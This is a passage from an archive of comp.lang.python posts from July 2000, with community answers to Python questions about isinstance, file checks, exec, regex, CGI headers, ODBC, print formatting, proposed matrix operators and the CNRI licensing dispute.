Message-ID: <slrn8mbl2p.1v5.jepler.lnk@potty.housenet>

On Fri, 07 Jul 2000 12:29:31 GMT, Arint?
 <shouldbe at message.com> wrote:
>How can you know if a 2 variables are different instances of the same class?
>x = someclass()
>y= someclass()
>I tried is, type, and type(x)  is someclass, but none seem to work unless I
>did it wrong.
>
>
isinstance()

Jeff


From andre at UltraShell.Net  Mon Jul 31 17:44:47 2000
From: andre at UltraShell.Net (Andre van Straaten)
Date: Mon, 31 Jul 2000 21:44:47 GMT
Subject: check file exists
References: <3985DDA3.E811F70A@ncsa.uiuc.edu>
Message-ID: <jrmh5.881$a61.80294@news-east.usenetserver.com>

Randy Heiland <heiland at ncsa.uiuc.edu> wrote:
> How does one test for whether or not a (Unix) file exists?

> thanks,
> Randy

I use generally something like this:

# check if in_file exists
if (0 == os.path.isfile(sys.argv[1]) or
    (0 == os.stat(sys.argv[1])[stat.ST_SIZE])):           # if filesize = 0
    print "no valid input file\n"
else:


-- avs 

Andre van Straaten
http://www.vanstraatensoft.com
______________________________________________
flames please to /dev/null at vanstraatensoft.com



From bjorn at roguewave.com  Sat Jul 22 12:06:31 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Sat, 22 Jul 2000 10:06:31 -0600
Subject: iterating over lines in a file
References: <Pine.GSO.4.10.10007220929190.6527-100000@sundial> <3979BF4C.6C60E636@roguewave.com> <1hje5.11204$Z43.122073@news20.bellglobal.com>
Message-ID: <3979C687.4BA9C0FF@roguewave.com>

Olivier Dagenais wrote:
> 
> Supposing it evaluates to 0 (false).  Now, everything_is_ok is equal to
> zero, so the next time you evaluate it...

In this code sample, the same thing... but I see your point :-)

-b

> 
> --
> ----------------------------------------------------------------------
> Olivier A. Dagenais - Carleton University - Computer Science III
> 
> "Bjorn Pettersen" <bjorn at roguewave.com> wrote in message
> news:3979BF4C.6C60E636 at roguewave.com...
> > Moshe Zadka wrote:
> > >
> > > On Fri, 21 Jul 2000, Gareth McCaughan wrote:
> > >
> > > > Moshe Zadka wrote:
> > > >
> > > > > Preventing world war III, when Python achieves world domination.
> > > > > If C is allowed to achieve world domination, WWIII will be cause by
> > > > >
> > > > > if(everything_is_ok = 0) {
> > > > >     launch_missile();
> > > > > }
> > > >
> > > > No, that will *prevent* WW3 happening when it was supposed to.
> > > > Where do I sign up for the campaign to help C dominate the
> > > > world? :-)
> > >
> > > You probably need to reread the condition.
> >
> > Probably not... Since 0 (zero) is false, and the result of an assignment
> > expression in the rhs, you would never execute the block...
> >
> > -b
> >
> 
> --
> http://www.python.org/mailman/listinfo/python-list



From garry at sage.att.com  Wed Jul 26 15:12:46 2000
From: garry at sage.att.com (Garry Hodgson)
Date: Wed, 26 Jul 2000 19:12:46 GMT
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net> <slrn8np8pr.tc.scarblac-spamtrap@flits104-37.flits.rug.nl> <397CC80C.43F5D8@alabanza.net>
Message-ID: <397F382E.196DE01@sage.att.com>

"ye, wei" wrote:
> Remco Gerlich wrote:
> > "ye, wei" wrote:
> > > 2. Why variable doesn't have to be declared before use?
> >
> > Because it's not necessary!
> 
> I can bear the {} issue, however I couldn't bear with variable without
> declaration.
> I wrote many applications, I couldn't live without declaration.

the short answer is:  if this is really important to you, then you
don't want to use python.  alternately, you might give it a try and
discover
what many others have.  it turns out not to be a problem in practice.
the third option, insisting that python change to meet your
presuppositions
of what is important, is unlikely to be fruitful.

> > Although there is work in progress on this issue - it may become optional
> > in the future. If you make everything strict and using { } and so on you've
> > just got some dialect of Objective C or Java or something...
> 
> I will be very *HAPPY* if it's true!!!!!  I believe Python will be much
> stronger and grow faster
> if such features are enabled.

if memory serves, much of the impetus for this was that it would
enable certain performance improvements, rather than for safety
purposes.

> However it should be a good language,

ahem.

> which can as more as possible
> to correct the mistake people may make.  This help programmers to
> shorten development and testing time.

many people's experience has shown the opposite to be true.

> If don't specify the variable type:
> 1. When you read code, it's not easy for you to understand how to invoke that
> function.
>    For example, compare
> def f(x, y, z): ...  with def f(int x, complex b, Employ c): ...
> which declaration give you more information without read further code?
> You know how to invoke the latter one without read its code and comments in
> most cases.

either of these is poor code.  how about having the names reflect usage,
which is arguably more relevant than type?

	def ComputeSalary( employeeID, salary, employee )

(my salary is very complex :-)

-- 
Garry Hodgson                   Every night 
garry at sage.att.com                a child is born
Software Innovation Services        is a Holy Night.
AT&T Labs                         - Sophia Lyon Fahs


From paul at prescod.net  Mon Jul 24 02:42:52 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 24 Jul 2000 01:42:52 -0500
Subject: New PEP: Attribute Access Handlers
References: <m13Gayu-000wcDC@swing.co.at>
Message-ID: <397BE56C.6CEA865@prescod.net>

Christian Tanzer wrote:
> 
> ...
>
>   * A "get" proceeds as usual until just before `__getattr__' would be
>     could. At this point, the dictionary `__attr_getters__' would be
>     checked -- if it contains a get-function for the attribute in
>     question, that function is called, otherwise `__getattr__' is
>     called as usual.

That's a good first pass but there are a lot of unresolved issues.

For every "get" failure you do an extra dictionary lookup (even if the
attribute doesn't have handlers). get failures are common in Python
because people does hasattr(x,"y") alot. 
__getattr__ will also take longer to get to until today. 

You won't find a computed attribute until you've gone through the entire
class hierarchy and come up with no value. Even a computed attribute
directly in the instance's __dict__ won't get found until all class's
have been exhausted.

Also an extra dictionary allocation is a non-trivial cost.

Plus, it isn't clear how this dictionary is set up in the first place.
Is it per-class or per-instance? Do runtime assignments change it? Does
it get bigger as the inheritance hierarchy gets deeper?
 
>   * A set proceeds by checking the `__attr_setters__' dictionary.
>     If it does not contain a set-function for the attribute in
>     question, everything proceeds as it does today. Otherwise that
>     function is called.

Okay, so let's say I have a get function but no set function. Won't the
very first "set" put a variable in the dictionary so that future "gets"
will fail according to the algorithm you described?

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From paul at prescod.net  Mon Jul 17 19:10:06 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 18:10:06 -0500
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396F502B.45225ED9@roguewave.com> <slrn8mv7qg.rl.hzhu@rocket.knowledgetrack.com> <396FABF3.B82E0C2@roguewave.com> <slrn8mvbt9.rl.hzhu@rocket.knowledgetrack.com> <slrn8n1pv6.utl.gjm11@g.local> <slrn8n594t.n88.hzhu@rock.localdomain> <slrn8n6r14.1ngn.gjm11@g.local>
Message-ID: <3973924E.DACD1D7F@prescod.net>

Gareth McCaughan wrote:
> 
> ...
> 
> Only if you implement matrices as lists of lists, in which
> case operations like * and / won't work anyway. I was assuming
> that (1) you have a special Matrix class, and (2) the machinery
> for list comprehensions is flexible enough to let it express
> other kinds of mapping.

Today, the list comprehension syntax is syntactic sugar for

a=[]
for i in firstloop:
	for j in secondloop: ...
		a.append( i, j )

I don't see any easy way to guess what type you want as "output" so it
has to default to a fixed type. You could of course do this:

Matrix( [...] )

I would be curious about ideas for allowing the output object to be
specified or inferred. What would the protocol be?

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html





From amk at mira.erols.com  Sun Jul 16 12:31:20 2000
From: amk at mira.erols.com (A.M. Kuchling)
Date: 16 Jul 2000 16:31:20 GMT
Subject: Anyone going to OLS?
References: <slrn8n1j03.i4.amk@207-172-113-121.s121.tnt5.ann.va.dialup.rcn.com> <kr4c5.82424$W35.1948000@news20.bellglobal.com>
Message-ID: <slrn8n3pet.h5.amk@207-172-96-22.s276.tnt1.ann.va.dialup.rcn.com>

On Sat, 15 Jul 2000 21:10:40 GMT, 
	Olivier Dagenais <olivierS.dagenaisP at canadaA.comM> wrote:
>Hey, I'm in Ottawa!  Where's the OLS being held?  You think it's a problem
>if I never use Linux and I go to the OLS???  : )

See www.ottawalinuxsymposium.org; unfortunately I think all 500 places
were sold out in June.  A pity for you, since it's an impressively
technical conference -- no vendors, no sales people, just techies.
Some talks are Linux-specific, but others are of general interest to
any Unix programmer -- talks on GNOME, DocBook, writing network
daemons, etc.

--amk


From nowonder at nowonder.de  Mon Jul 31 11:09:16 2000
From: nowonder at nowonder.de (Peter Schneider-Kamp)
Date: Mon, 31 Jul 2000 15:09:16 +0000
Subject: [4th Draft] Open Letter to CNRI: Request for clarification
Message-ID: <3985969C.48222D21@nowonder.de>

Good point from Martijn, so here is the 4th draft:

--- begin open letter -------------------------------------------------
To: Dr. Robert E. Kahn <rkahn at cnri.reston.va.us>,
    (president of The Corporation for National Research Initiatives)

Dear Mr. Kahn,

a lot of people in the Python community around the newsgroup
comp.lang.python are deeply concerned about the latest license
issues that have arisen around the new 1.6/2.0 releases.

The following attached signatures represent people from the Python
community who would like some clarification regarding the future of the
Python language. As of now, there has been no official statement from
your institution regarding the new Python license. We are especially
interested in the underlying intention of this change. So we request
a plain-English, non-legalese statement regarding the purpose of that
change and the ways in which it affects Python's use.

Kind regards,
Peter Schneider-Kamp
--- end open letter ----------------------------------------------------
--- begin signature list -----------------------------------------------
Martijn Faassen
Jay Graves
Konrad Hinsen (Centre de Biophysique Moleculaire (CNRS))
Gareth McCaughan
David Mertz (author of a Python column for IBM developerworks)
Moshe Zadka (mathematician, Python developer)
--- end signature list -------------------------------------------------

Please add/change/remove your signatures.

Feedback as always strongly appreciated.

or-should-I-send-the-1st-draft-<wink>-ly y'rs
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From shindich at my-deja.com  Fri Jul  7 22:51:43 2000
From: shindich at my-deja.com (shindich at my-deja.com)
Date: Sat, 08 Jul 2000 02:51:43 GMT
Subject: eval
References: <Pine.LNX.4.21.0007070112170.6842-100000@krispc6.physik.uni-karlsruhe.de>
Message-ID: <8k64vt$jbs$1@nnrp1.deja.com>

In article
<Pine.LNX.4.21.0007070112170.6842-100000 at krispc6.physik.uni-karlsruhe.de>,
  Johannes Zellner <johannes at zellner.org> wrote:
> On Thu, 6 Jul 2000, Stuart Ford wrote:
>
> >
> > ----- Original Message -----
> > From: Johannes Zellner <johannes at zellner.org>
> > To: <python-list at python.org>
> > Sent: Thursday, July 06, 2000 5:46 PM
> > Subject: eval
> >
> >
> > >
> > > Hi,
> > >
> > > how does eval work ?
> > >
> > >     eval('print "fred"')
> > >
> >
> > exec not a function in the real sense, but a core command,
> > it does not require the use of parentheses.
> >
> > Examples:
> >
> > eval 'print "fred"'     will work..
> >
> > or
> >
> > command = 'print "fred"'
> > exec command                  will work just as well..
> >
> > I have used exec to process dynamically written code within the
> > current namespace.
>
> ahh. I see. thanks.
>
> And how do I define the scope where exec evaluates ?
> E.g.
>
> def generator(x):
>   eval 'def '+x+'(y): print "fred"'
>
> and after calling
> >>> generator('lola')
> I want to be able to use
> >>> lola('lolita')
>
> --
>    Johannes
>
You might want to try the following:
   >>> def generator (functionName, globaldict):
   ...     exec 'def ' + functionName + '(): print "fred"' in globaldict
   >>> generator ('lola', vars ())
   >>> lola
   <function lola at 80d4d08>
   >>> lola ()
   fred
   >>>

I hope this helps!

Alex Shindich
http://www.shindich.com/


Sent via Deja.com http://www.deja.com/
Before you buy.


From paul at prescod.net  Sun Jul 23 02:34:19 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 23 Jul 2000 01:34:19 -0500
Subject: Multimethods
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8nevfr.d8.bmcd@ripley.sulaco.net> <8lb6jb$vj9$1@slb6.atl.mindspring.net> <slrn8nj9ul.6bu.neelk@brick.cswv.com> <8lcnf4$vmr$1@slb0.atl.mindspring.net> <slrn8nki9i.7ga.neelk@brick.cswv.com>
Message-ID: <397A91EB.80B74AE9@prescod.net>

Neel Krishnaswami wrote:
> 
> ....
> 
> So multimethods. In ordinary OO programming, you can think of a method
> as a set of functions, and the function body that's chosen is based on
> the runtime type of the first argument.

You could, but Python exposes so much of the underlying implementation
that this is not a very intuitive way to think about it. In particular,
every instance of a class could have a *unique method* frob simply by
assigning to the frob attribute. So you have to think of the function
body being selected not based on runtime type but rather on the
particular runtime instance's identity (e.g. "id()").

So it isn't clear to me how you extend this into multimethods. If Python
dispatch is not type-based to start with making a mechanism that is
doubly type-based seems inconsistent. I mean  the first step would be to
make a form of Python method invocation that is type-based even for one
argument.

def foo( int a ):
	....

def foo( float b):
	...

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From scarblac-spamtrap at pino.selwerd.nl  Thu Jul 20 03:56:02 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 20 Jul 2000 07:56:02 GMT
Subject: Get the name of the superlcass?
References: <39779f54.3806062@news.online.no>
Message-ID: <slrn8ndc29.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl>

Thomas Weholt wrote in comp.lang.python:
> I`m subclassing from a superclass. I can get the name of the subclass
> by using Subclass.__class__.name. But I would like to get the name of
> the superclass as well, but not lose the option of getting the
> subclass either. 
> 
> Ex. I got a class Structure, and a sublcass Building. I want to check
> in a list for structures, then see if any of them are buildings. 

Use isinstance(). isinstance(object, class) is 1 if the object is an
instance of the class or one of its subclasses.

class Structure:
  pass
  
class Building(Structure):
  pass
  
generic_structue = Structure()
some_building = Building()

Now 
isinstance(some_building, Structure) == 1
isinstance(some_building, Building) == 1
isinstance(generic_structure, Structure) == 1
isinstance(generic_structure, Building) == 0

If you want to know the superclasses of a class, use class.__bases__
(like Building.__bases__[0].__name__ == "Structure"). But using
isinstance is probably better.

-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
  9:54am  up 135 days, 22:03,  6 users,  load average: 0.40, 0.19, 0.12


From scarblac-spamtrap at pino.selwerd.nl  Tue Jul 25 10:25:09 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 25 Jul 2000 14:25:09 GMT
Subject: how to build arbitrarily-sized lists in one fell swoop?
References: <397DA1E0.B65DC47@cornell.edu>
Message-ID: <slrn8nr8os.33d.scarblac-spamtrap@flits104-37.flits.rug.nl>

Samuel Scarano wrote in comp.lang.python:
> There's a simple thing I want to do in python but I can't find a way that is
> obvious to the reader and efficient for the interpreter. I want to make a
> list with n copies of x.
> 
> This is the way that's most obvious to me:
> 
> l = []
> for i in range(n):
> 	l.append(x)
> 
> But that looks awfully verbose for Python, and I'm sure there's a more
> efficient way.
> 
> Then there's:
> 
> l = map(lambda y: x, range(n))
> 
> That's briefer, but it still involves a lot of function calls, and the
> wasteful construction of a range.
> 
> So what's the right way?

l = [x]*n

Does what you do here. I don't know what kind of object x is, but note
that this doesn't make *copies* of x; if it's some instance, then all
elements of l will be a reference to the same old x. Same for your
methods.

-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
Hi! I'm a .sig virus! Join the fun and copy me into yours!


From gmcm at hypernet.com  Mon Jul  3 10:42:32 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 03 Jul 2000 14:42:32 GMT
Subject: Again: ODBC / Win98 -> crash
References: <8jq7i6$395g$1@www.univie.ac.at>
Message-ID: <8F666B563gmcmhypernetcom@199.171.54.154>

Matthias Huening wrote: 

>Some days ago I posted a problem with ODBC on my Win98-machine. I
>thought that it could be the win32-ODBC module that caused the crash I
>reported, so I switched to Marc-Andre Lemburg's mxODBC module. To keep
>it simple I give a minimal example (where dsn is a valid dsn):
>
>>>> import ODBC.Windows
>>>> db = ODBC.Windows.Connect(dsn)
>>>> db.close()
>
>Up to here, everything is fine. No problems so far.
>But when I do it again:
>
>>>> db = ODBC.Windows.Connect(dsn)
>
>I get an immediate crash of Python.
>
>My (German) version of Win98 tells me:
>
>   PYTHONW verursachte einen Fehler durch eine ung?ltige Seite
>   in Modul ODBCJT32.DLL bei 015f:04c0ac36.
>
>It seems like something isn't closed properly when I do db.close().
>Any suggestions?

All this points to it being the driver. That is, your dsn gets looked up, 
and the driver for the appropriate DB is loaded. Since that's the JET 
driver (ie, the one that translates ODBC to JET), you can thank your lucky 
stars that it works at all <wink>. Access behaves very poorly through ODBC. 
If you really have to use Access, you might find ADO more satisfactory.

- Gordon


From genablu at my-deja.com  Fri Jul 14 04:40:13 2000
From: genablu at my-deja.com (genablu at my-deja.com)
Date: Fri, 14 Jul 2000 08:40:13 GMT
Subject: Python + Apache 1.3.x (CGI) not working (no mod_python)
Message-ID: <8kmjlb$vji$1@nnrp1.deja.com>

Please help!

I am running the following Python program:

#!/usr/bin/python

print 'Content-type: text/plain'
print ' '
print '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">'
print '<HTML><HEAD><TITLE>cgi-bin test</TITLE></HEAD>'
print '<BODY>Hello, World!</BODY></HTML>'

in my /home/httpd/cgi-bin directory.  Permissions are set to 755, chown
root.nobody.

When I try requesting http://myserver.domain.com/cgi-bin/hello.py I get
the following error:

INTERNAL SERVER ERROR
The server encountered an internal error or misconfiguration and was
unable to complete your request.

malformed header from script.  Bad header=:/home/httpd/cgi-bin/hello.py

The equivalent PERL program works just fine.

Here are the modules built into my Apache server:

httpd -l
Compiled in modules:
  http_core.c
  mod_so.c

What am I missing?  Why doesn't this work but the PERL program does?

I would like to run this script by spawning the Python interpreter
rather then compiling it as a module.  Is this possible?  I'm aware this
might be an Apache question; can you point me to a good place to learn
how to solve this in Apache?

I've been fighting this for a loooong time!  Can someone please help?

Thanks!

Gena Bleu


Sent via Deja.com http://www.deja.com/
Before you buy.


From ldwhitley at home.com  Tue Jul  4 15:41:30 2000
From: ldwhitley at home.com (Larry Whitley)
Date: Tue, 04 Jul 2000 19:41:30 GMT
Subject: Python to C++ in a pickle
Message-ID: <K5r85.38150$dF.1427872@news1.rdc1.il.home.com>

I'd like to pickle an object in python and unpickle it in C++.  The object
in question is a python dictionary so it will have to go into a C++ map.
Has someone done this and is willing to share?  Or, is the cPickle source
available on the web somewhere?

Larry




From paul at prescod.net  Sat Jul 22 12:38:26 2000
From: paul at prescod.net (Paul Prescod)
Date: Sat, 22 Jul 2000 11:38:26 -0500
Subject: Newbie pythoner, with bizzare problem
References: <8F79257Amilenkomoonshinecouk@194.73.73.116> <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk> <66BC56277B82FC67.B3EED2DD79D7AFED.2311A1AB38DBA14A@lp.airnews.net> <8F7974AF5gmcmhypernetcom@199.171.54.194>
Message-ID: <3979CE02.D2744B7E@prescod.net>

Gordon McMillan wrote:
> 
> >What surprises me, though, is that no one ever
> >mentions the possibility of writing
> >  inp = __builtin__.open("c:/autoexec.bat",'r')
> 
> Because __builtin__ is a module and has to be imported. And someone who
> says

Well yes, but not __builtins__ (with the "s")

Python 1.6a2 (#0, Apr  6 2000, 11:45:12) [MSC 32 bit (Intel)] on win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> __builtins__
<module '__builtin__' (built-in)>

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From tim.hochberg at ieee.org  Tue Jul  4 21:47:49 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Wed, 05 Jul 2000 01:47:49 GMT
Subject: regex's
References: <39627fa7.705005544@news1.on.sympatico.ca>
Message-ID: <m2g0ppmm9x.fsf@spiff.home.com>

chibaA at TinterlogD.Tcom writes:

> Hi...  I'm having a bit of a brain-tease...  I have the following code
> (example):
> 
> import re
> 
> str = '123'
> if re.compile('1').match(str):
> 	print "matched 1"
> if re.compile('2').match(str):
> 	print "matched 2"
> if re.compile('3').match(str):
> 	print "matched 3"
> 
> -------------------
> 
> I would think that this code would print 'matched 1 matched 2 matched
> 3'...  But in this case, it would only printed "matched 1".  Any
> reasons?  Is there any way to have it print all three (since the
> conditions seem to be true)?

re.match matches from the beginning of the string (e.g.,
re.compile('2').match(str) will only match strings starting with
'2'. What you want is re.search. For example:

#....
if re.compile('2').search(str):
	# ...

You could also use:

#....
if re.search('2', str):
	# ...

However, the former will be faster if you reuse the regular
expression since you can compile it once and reuse the compiled
version.


-tim
 
> Thanks in advance!
> 
> kc.



From alex at magenta.com  Sat Jul 29 20:37:50 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 02:37:50 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <8lst4r02grr@news2.newsguy.com> <slrn8o444p.49c.grey@teleute.rpglink.com> <m3k8e5ja2d.fsf@gondolin.beleriand> <slrn8o6lp3.f91.grey@teleute.rpglink.com>
Message-ID: <8lvth11ntg@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o6lp3.f91.grey at teleute.rpglink.com...
> On Sat, 29 Jul 2000 14:16:47 GMT, Steffen Ries <steffen.ries at sympatico.ca>
> wrote:
> >In this case I would use the dictionary variant of the format string:
> >"%(a)0d %(b)c:U %(c)s %(d)s %(e)s %(f)s %(g)s %(h)s %(i)s %(j)s %(k)s"\
> >   % vars()
>       ^^^^^^
>
>     Still doesn't change the fact the variables are at the end.

The variable *names* are in the format-string (named placeholders).

What variable goes where, which was your original issue, is thus
completely solved.  That the whole format-string gets applied to
vars() just tells us we're in that particular case (frequent in
some people's styles, less so in others).


Alex





From jclonts at mastnet.net  Tue Jul 18 23:10:18 2000
From: jclonts at mastnet.net (John Clonts)
Date: Tue, 18 Jul 2000 22:10:18 -0500
Subject: PyPGP?
Message-ID: <39751C1A.5F476774@mastnet.net>

I am trying to get this to work and am having trouble....

Is this a current effort?  

Is there some other or better source for PGP encrypt/decrypt services
for Python?

Thanks,
John


From moshez at math.huji.ac.il  Sat Jul  1 07:13:03 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sat, 1 Jul 2000 14:13:03 +0300 (IDT)
Subject: Passing variable-length keyworded arguments list to base class
 constructor?
In-Reply-To: <962379165.85859735@news.libertysurf.fr>
Message-ID: <Pine.GSO.4.10.10007011412390.17559-100000@sundial>

On Fri, 30 Jun 2000, Jerome Quelin wrote:

> "Beat Bolli" <beat.bolli at dware.ch> wrote:
> >Starting with Python 1.6a[12], you can call Parent.__init__(self, **args).
> And with python 1.5.2?

Use the apply() built-in function.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.




From stianh at ifi.uio.no  Thu Jul 27 18:10:18 2000
From: stianh at ifi.uio.no (Stian Husemoen)
Date: 27 Jul 2000 22:10:18 GMT
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCEEGAGMAA.tim_one@email.msn.com>
Message-ID: <slrn8o1co0.k64.stianh@localhost.localdomain>

Tim Peters wrote:
>credible answer on that one.  Note that contributions to Python generally
>weren't accepted if they contained a license more restrictive than the
>Python license; for example, there is no GPL'ed code in the Python
>distribution.  Note also that, late in the game, CNRI required a release
>form with all Python contributions, specifically granting CNRI certain broad
>rights to your code.

If Python had the GPL-license we would never have gotten into this mess. My
main argument for *not* using Python at first was that it didn't
have the GPL attached to it... Yes, the GPL is more restricive but you can't
have both ways.

There will always be a danger of this happening again until someone make a
GNU version of Python. (btw. would this be possible?)

-- 

Stian Husemoen <stianh>


From cjensen at bioeng.ucsd.edu  Wed Jul 26 17:23:24 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Wed, 26 Jul 2000 14:23:24 -0700
Subject: print format
References: <397E3530.E821018C@bioeng.ucsd.edu> <slrn8nsdpi.2pk.wtanksle@dolphin.openprojects.net> <kdrf5.1533$ck7.387726@nntp1.onemain.com> <slrn8nufmc.3kn.wtanksle@dolphin.openprojects.net>
Message-ID: <397F56CC.55C036EF@bioeng.ucsd.edu>

> I'm still curious as to why sys.stdout.write is so bad.
> 
> --
> -William "Billy" Tanksley

What is the difference between "print" and "sys.stdout.write"?  Other
than the obvious new line character.

-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451


From moron at Glue.umd.edu  Thu Jul 20 23:08:09 2000
From: moron at Glue.umd.edu (Warren B. Focke)
Date: 20 Jul 2000 23:08:09 -0400
Subject: Does Python have "not a number" floating point values?
References: <3bRVEQ$l1k@openbazaar.net> <slrn8n959q.so.hzhu@rock.localdomain>
Message-ID: <8l8eqp$4sj@stochastic.eng.umd.edu>

Huaiyu Zhu:

>According to discussions on comp.lang.python, there is no universal
>way to treat NaN, but the following codes work on Windows (NT and 98),
>Solaris (2.7 with gcc) and Linux (RH6.1 with egcs).

There is an fpectl module in the standard distribution.  It's not
built by default, and doesn't support all systems, and all it does at
the moment is make this stuff NOT work on the systems it supports, but
interested parties might be able to fix [some of] these issues.

Warren Focke
-- 
If you feel that you have both feet planted on level ground, then the
university has failed you. -Robert Goheen, President, Princeton University


From cjensen at bioeng.ucsd.edu  Tue Jul 25 20:47:44 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Tue, 25 Jul 2000 17:47:44 -0700
Subject: print format
Message-ID: <397E3530.E821018C@bioeng.ucsd.edu>

I don't know if this is possible in python but, Is there a way to repeat
a format command a spceified number of times?  For example, in Fortran
there is the format code "20I5"  Which is the same as "I5" twenty
times.  I want something like:
print '20(%i5) ' % [list of 20 intgers]

Also, how do I print without a new line other than using
sys.stdout.write?
Thanks

-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451


From bjorn at roguewave.com  Sat Jul 22 00:54:13 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 21 Jul 2000 22:54:13 -0600
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <8lb71j$gkm$1@slb7.atl.mindspring.net>
Message-ID: <397928F5.76734DC6@roguewave.com>

Aahz Maruch wrote:
> 
> In article <slrn8nhndr.qn.hzhu at rocket.knowledgetrack.com>,
> Huaiyu Zhu <NO_SPAM_hzhu at knowledgetrack_dot_com> wrote:
> >
> >number .+ matrix
> >
> >illigal, which can be done by leaving  __rdotadd__ undefined.
> 
> No, no, no.  No runtime errors based on syntactical ambiguity.  Remember
> that the above example is not the ambiguous one, it's "number.+matrix"
> with no spaces.  It just doesn't work, and I guarantee you'll get a
> virulent reaction from long-term Pythonistas if you push this at all.

I'm sure someone will implement __rdotadd__ for their class sooner or
later and then the following lines would have different semantics:

  5.+A
  5 .+ A

I'm sure we're all going to love answering _those_ whitespace posts...

at-least-Dylan-has-a-reason-for-being-whitespace-sensitive-in-this-area'ly
y'rs
-- bjorn



From tim.hochberg at ieee.org  Wed Jul 19 20:58:06 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Thu, 20 Jul 2000 00:58:06 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
Message-ID: <m2u2dl1xf4.fsf@spiff.home.com>

Huaiyu Zhu <huaiyu_zhu at yahoo.com> writes:

> Now that Guido has given the go-ahead for adding new operators for numerical
> computation, let us consider carefully how to allocate this new resource,
> taken into account Tim's guidelines.
> 
> Here's a list of issues that come to mind:
> 
> 1. What symbols to use.
> 
>    It seems that we can more or less concentrate on using either . or @
>    together with existing math operators.  Issues:
> 
>    (1) Use . or @

 Not '@'. It's too dense and looks to much like a letter. '.' is
 better, but is has the potential to cause confusion in situations
 such as 3.+M. This equation is ambiguous if the ".x" operators are
 elementwise, but not if they're matrixwise (I'm assuming that the
 elementwise operators obey the same broadcasting rules that NumPy's
 operators do today). 

>    (2) Which is matrixwise or elementwise

I can't see a good answer here. NumPy has been around for a long time
and I believe it has a fairly large user base which is a strong
argument in favor of the ".x" operators being matrixwise. However,
other operators within python (*,+) operate "objectwise" on sequences
(concatenation and replication). I think it would be suprising if
these operators were elementwise for matrices and objectwise for
other, similar, objects (sequences). This tends to favor ".x" being
elementwise.

>    (3) Compatibility: NumPy uses * for elementwise, MatPy uses * for
>        matrixwise.

Do you have an idea of what the relative sizes of the userbases of
these two packages are? Honest question -- I have no idea, but I've
been operating under the assumption that userbase of MatPy was
relatively small.

>    (4) Similarity with Matlab (but not really compatibility). 

I think it's a mistake to look just at Matlab here. If were going to
look to matrix languages for inspriation we should look to
several. Unfortunately, I'm no help here.


> 3. Their behavior on other objects:
> 
>    Even though they are supposed to be used for numerical objects only, what
>    if user writes [10,20].+[1,2]?
> 
>    - Exception: no __dotadd__ or __rdotadd__ defined
> 
>    - Behave as eadd and give [11,22]
> 
>    - Behave as current + and give [10,20,1,2]
> 
>    The last one is dead, people writing [].+[] either made a typo of
>    [].member+[] or want eadd.
> 
>    The second seems most sensible and least surprising, but it does need to
>    include list in the implementation of eadd.
> 
>    My understanding is that Tim wants the first one.  So let's leave it
>    there lest it drags other bits down.

Note that if ".x" ends up being matrixwise, things will become
horribly inconsistent if it is later decided to extend these operators
to other sequences. This IMO is probably the strongest argument for
making ".x" elementwise.

> 
> 
> 4. The magic words:
> 
